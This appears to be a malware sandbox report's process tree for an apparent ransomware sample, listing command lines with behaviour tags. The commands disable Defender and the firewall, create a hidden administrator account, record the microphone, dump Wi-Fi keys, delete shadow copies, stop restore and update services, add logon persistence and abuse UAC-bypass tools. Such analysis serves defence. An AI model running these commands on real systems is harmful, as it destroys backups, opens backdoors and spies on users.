        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10408
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:10556
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:6428
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:13420
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:4732
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:7684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980825508333.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7652
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12308
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        18⤵
        Interacts with shadow copies
        
        PID:11748
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        18⤵
        
        PID:12832
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        18⤵
        
        PID:13224
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        19⤵
        
        PID:16340
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        18⤵
        Modifies Windows Firewall
        
        PID:10952
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        18⤵
        Launches sc.exe
        
        PID:13000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:14100
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:11388
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:15004
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:14756
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:13816
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980590361256.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10876
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13240
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        16⤵
        Interacts with shadow copies
        
        PID:15704
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        16⤵
        
        PID:8344
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        16⤵
        
        PID:9008
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        17⤵
        
        PID:9876
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        16⤵
        Modifies Windows Firewall
        
        PID:12164
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        16⤵
        Launches sc.exe
        
        PID:16072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9608
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:10396
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:7028
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:11236
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:13164
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:12248
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980407292123.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11548
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13812
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:15060
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:10612
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:3272
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        15⤵
        
        PID:15652
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:7956
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        14⤵
        Launches sc.exe
        
        PID:11708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8224
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:7788
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:9000
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:8836
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:8436
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:9012
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:16312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980336975648.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13996
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:13252
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:10316
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:10940
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:14304
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:3252
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:8148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6668
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:8048
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:7876
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:7712
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:8360
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:9300
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980160771483.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12832
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13896
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:10476
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:15164
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:11500
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:4164
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:14152
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:14688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6048
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:6996
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:6460
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:7116
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:6388
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:8724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980073801955.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12084
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12224
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:12412
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:7024
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:12720
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:14840
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:14048
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:13716
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:1212
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:1864
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:5560
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:6204
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:6792
      - C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:8104
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980013718353.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10272
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11032
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:10384
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:11400
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:12144
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:15100
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:11196
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:8268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:3160
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:1500
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:5404
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:5656
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:4760
  - - C:\Windows\SYSTEM32\notepad.exe
      "notepad.exe"
      4⤵
      PID:6304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278979995102433.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9848
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:9972
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:11012
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:10612
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:11628
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:14184
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:11280
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:11892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:468
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:1188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4656
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:1340
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:5600
- C:\Windows\SYSTEM32\notepad.exe
  "notepad.exe"
  2⤵
  PID:348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278979996355283.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10016
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:10348
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:10948
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:9772
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:11756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:13548
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:9884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:12928

C:\Users\Admin\AppData\Local\tcpmon.exe
C:\Users\Admin\AppData\Local\tcpmon.exe
1⤵
PID:252
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4276
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\876c0ea9-ab41-4058-8749-be3997533039.inf
  2⤵
  PID:5400
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:1076
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:1584
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:3644
- - C:\Users\Admin\AppData\Local\tcpmon.exe
    "C:\Users\Admin\AppData\Local\tcpmon.exe"
    3⤵
    PID:5324
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4208
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\277d544b-e629-422f-a697-ae7706becdbc.inf
      4⤵
      PID:3472
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:2636
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:1408
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:4436
    - - C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        5⤵
        
        PID:3124
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6500
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\bbd59037-1eb6-4488-a93f-9229a47ebe08.inf
        6⤵
        
        PID:6804
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:6976
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:7120
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:1428
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        7⤵
        
        PID:4080
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1136
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2fd07b5e-9be9-4861-b73e-5e302ecfa1e5.inf
        8⤵
        
        PID:7088
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:3204
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:7284
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:7312
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        9⤵
        
        PID:8124
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8080
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1d36bde8-ef04-4cf4-bf94-cf12c23d774b.inf
        10⤵
        
        PID:8260
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:8324
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:8420
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:8560
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        11⤵
        
        PID:8264
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6512
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ff28d855-cb2a-496d-832f-25b54783f466.inf
        12⤵
        
        PID:9172
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:8428
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:8508
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:9120
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        13⤵
        
        PID:11004
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11988
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\48597bf1-caf5-4450-bf65-32ea1808af17.inf
        14⤵
        
        PID:10444
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:11928
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:12448
        
